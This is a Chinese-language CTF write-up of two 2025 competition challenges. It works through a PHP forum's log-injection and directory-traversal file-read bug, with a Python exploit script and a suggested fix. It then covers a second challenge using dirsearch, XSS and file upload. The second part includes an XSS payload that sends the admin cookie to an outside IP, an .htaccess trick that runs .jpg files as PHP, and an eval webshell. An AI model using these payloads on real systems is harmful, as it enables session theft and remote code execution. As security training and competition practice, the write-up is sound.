AWDP – ccfrum
自己搭了一下環境, 復現一下這道題目, 之前比賽的時候完全沒想到這個漏洞要怎么打, 修也不知道要怎么修, 就僅僅是對用戶名的賬號和密碼進行了一下過濾, 完全沒起到作用, 唉, 實在太菜
如果想要嘗試復現的話可以嘗試拉取這個鏡像, 我打完之后就直接把這個容器給制作了一下鏡像保存了一下, 但我自己并沒有去拉取下來看看是否可行, 不過應該是沒問題的吧, 畢竟我是復現完把日志刪了之后直接就保存下來的
docker pull registry.cn-hangzhou.aliyuncs.com/pwfortune/ccb_ciscn:ccforum
Seay掃描一下源碼
主要關注config.php和admin.php存在 file_get_contents()
和 file_put_contents()
函數
那么最終可以預想就是想辦法利用file_get_contents()
任意讀文件
通過審計代碼
admin.php
$action_log_path = '/var/www/action.log';
$action_log = file_get_contents($action_log_path);
$log_lines = explode("\n", $action_log);
會讀取日志文件, 以換行符
分割每一行
foreach ($log_lines as $line) {if (empty($line)) {continue;}$parts = explode(',', $line);if (count($parts) < 5) {continue;}$encoded_user = $parts[1];$action = $parts[2];$success = (int) $parts[3];$additional_info = $parts[4];if ($action === 'record_banned') {if ($success === 1) {$banned_users[$encoded_user][] = $additional_info;} else {$failed_logs[] = $additional_info;}}
}
$banned_contents = [];
var_dump($banned_users);
foreach ($banned_users as $encoded_user => $logs) {$banned_dir = "/var/www/banned/{$encoded_user}";if (file_exists($banned_dir)) {$files = scandir($banned_dir);// var_dump($files);foreach ($files as $file) {if ($file !== '.' && $file !== '..') {$file_path = $banned_dir . '/' . $file;$content = file_get_contents($file_path);$banned_contents[$username][] = $content;}}}
}
如果action
為 record_banned
, $success == 1
那么就會遍歷編碼后的用戶名下的所有文件, 將他們讀取出來顯示
<?php foreach ($contents as $content): ?><pre><?php echo htmlspecialchars($content); ?></pre>
<?php endforeach; ?>
所以想要構造的一個payload就是
,../../../,record_banned,1,
但是這里沒有什么可控的變量, 還需要通過日志文件來利用
function log_action($username, $action, $succ, $additional = '')
{$log_id = uniqid();$e_username = encode_uname($username);$log_line = sprintf("%s,%s,%s,%d,%s\n",$log_id,$e_username,$action,$succ,$additional);file_put_contents('/var/www/action.log', $log_line, FILE_APPEND);
}
寫入日志文件的內容有
$log_id
:uniqid()
不可控$e_username = encode_uname($username);
base64編碼后的用戶名, 不好控制為../
進行目錄穿越$action
, 相要利用必須為record_banned
, 不可控$succ
相要利用必須1
, 也是不可控$additional
, 默認為空, 也沒啥限制, 所以就需要想辦法控制這個變量
再查找有哪里調用了log_action
這個函數
function record_banned($username, $banned)
{$e_username = encode_uname($username);$banned_dir = "/var/www/banned/{$e_username}";$created = true;if (!file_exists($banned_dir)) {$created = mkdir($banned_dir, 0750);}$log = "";$succ = 1;if (!$created) {$succ = 0;$log = "Failed to create record directory for " . $username;} else {$filename = $banned_dir . '/' . time() . '.txt';if (!file_put_contents($filename, $banned)) {$succ = 0;$log = "Failed to record banned content";}}log_action($username, 'record_banned', $succ, $log);
}
可控的是變量$additional
這里傳參的是$log
它的值有三種
$log = "";
$log = "Failed to create record directory for " . $username;
$log = "Failed to record banned content";
唯一能夠想辦法控制的就是$username
要想辦法達到這個條件就需要無法創建成功目錄
$created = mkdir($banned_dir, 0750);
mkdir
在創建目錄的時候無法創建多重目錄
也就是創建的目錄名不能帶有 /
那么就需要讓base64編碼后的用戶名帶上/
就無法創建成功了
前面也已經知道讀取的日志文件會以\n
分割來生成每一行
$log_lines = explode("\n", $action_log);
而且也會遍歷每一行, 以,
分割每一部分, 取第二部分, 遍歷該目錄下的文件, 讀取出來
foreach ($log_lines as $line)
$parts = explode(',', $line);if (count($parts) < 5) {continue;}
$encoded_user = $parts[1];
if ($action === 'record_banned') {if ($success === 1) {$banned_users[$encoded_user][] = $additional_info;}
$banned_dir = "/var/www/banned/{$encoded_user}";
$files = scandir($banned_dir);
$file_path = $banned_dir . '/' . $file;
$content = file_get_contents($file_path);
所以這里的用戶名就是
???%0a,../../../,record_banned,1,
在這里就已經可以知道需要注冊這樣一個用戶名了
還需要找到在哪里可以調用record_banned
方法
post.php里面
if ($_SERVER['REQUEST_METHOD'] === 'POST') {$title = $_POST['title'] ?? '';$content = $_POST['content'] ?? '';$username = $_SESSION['username'];if (has_sensitive_words($title) || has_sensitive_words($content)) {record_banned($username, $title . "|" . $content);die("Post contains sensitive words");}
需要讓has_sensitive_words
返回true
function has_sensitive_words($content)
{$SENSITIVE_WORDS = ['敏感詞', 'SENSITIVE WORDS',];foreach ($SENSITIVE_WORDS as $word) {if (stripos($content, $word) !== false) {return true;}}return false;
}
也就是說title
或者content
其中有一個存在敏感詞
或者 SENSITIVE WORDS
就可以滿足條件
到這里所有的前提條件都已經知道了, 就可以開始構造payload了
步驟
- 先注冊賬戶, 構造特定的用戶名
- 用特定的用戶名登錄, 到
post.php
路由發送相應的信息 - 再以管理員的賬號密碼登錄, 進入到
admin.php
, 即可查看到flag
管理員的賬號密碼可以爆破得出 admin / password
可以看得到日志里面已經寫入的,../../../,record_banned,1,
通過管理員用戶訪問admin.php
下可以看到讀取的文件
from requests import Sessionbasic = "http://ip:9090/"
data = {"username": "???\n,../../../,record_banned,1,","password": "111111111111",}def register(sess: Session):resp = sess.post(basic + "/register.php", data=data)def login(sess: Session):resp = sess.post(basic + "/login.php", data=data)def post(sess: Session):data1 = {"title": "敏感詞","content": "tset",}resp = sess.post(basic + "/post.php", data=data1)if __name__ == "__main__":sess = Session()register(sess)login(sess)post(sess)
所以這道題目的修復方法可以將 編碼的函數改成md5加密, 就無法阻止mkdir創建目錄失敗, 也就無法利用可控參數username
了
function encode_uname($username)
{return base64_encode($username);
}
參考文章
https://jbnrz.com.cn/index.php/2025/03/16/2025-ciscn-x-ccb-semi/https://mp.weixin.qq.com/s?__biz=Mzg4MTg1MDY4MQ==&mid=2247487308&idx=1&sn=58ded47969223626e9937b5ccf93d3a8&chksm=cef98a3b1b7ee9a0deeb2746fb95e0bd6fb6e0d7adf55a9902ee121c3e7533efcde91d9498fc&mpshare=1&scene=23&srcid=0318w22pdH0PdB7Tj2Cbw5B0&sharer_shareinfo=a714674b8023b181d0876977bde50035&sharer_shareinfo_first=a714674b8023b181d0876977bde50035#rd
ISW – CCB2025
考點: xss+文件上傳
一天的比賽 ,就這一個成果, 唉
dirsearch 掃描
[14:03:24] 403 - 278B - /.ht_wsr.txt
[14:03:24] 403 - 278B - /.htaccess.bak1
[14:03:24] 403 - 278B - /.htaccess.save
[14:03:24] 403 - 278B - /.htaccess.orig
[14:03:24] 403 - 278B - /.htaccess.sample
[14:03:24] 403 - 278B - /.htaccess_extra
[14:03:24] 403 - 278B - /.htaccess_orig
[14:03:24] 403 - 278B - /.htaccess_sc
[14:03:24] 403 - 278B - /.htaccessOLD2
[14:03:24] 403 - 278B - /.htaccessOLD
[14:03:24] 403 - 278B - /.htaccessBAK
[14:03:24] 403 - 278B - /.html
[14:03:24] 403 - 278B - /.htm
[14:03:24] 403 - 278B - /.htpasswd_test
[14:03:24] 403 - 278B - /.htpasswds
[14:03:24] 403 - 278B - /.httr-oauth
[14:03:25] 403 - 278B - /.php
[14:03:35] 302 - 0B - /dashboard.php -> login.html
[14:03:37] 200 - 484B - /feedback.html
[14:03:39] 301 - 312B - /img -> http://172.18.114.20/img/
[14:03:43] 200 - 524B - /login.html
[14:03:44] 302 - 0B - /logout.php -> login.html
[14:03:56] 403 - 278B - /server-status
[14:03:56] 403 - 278B - /server-status/
[14:03:57] 301 - 312B - /src -> http://172.18.114.20/src/
[14:03:57] 200 - 473B - /src/
[14:04:00] 200 - 16KB - /users.log
/feedback.html
可以提交一些信息, 猜測是xss
<script>window.location.href='http://192.168.114.251:7777/?cookie='+document.cookie</script>
可以拿到admin的cookie
拿admin的cookie的作用主要就是為了拿到上傳的文件的路徑
然后繼續之前提交信息處可以上傳圖片, 文件上傳繞過
上傳 .htaccess
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
然后再上傳1.jpg
<?php eval("$_POST[1]")?>
后面一個多小時一直在嘗試內網滲透方面, 可惜缺乏經驗, 太菜了, 沒有收獲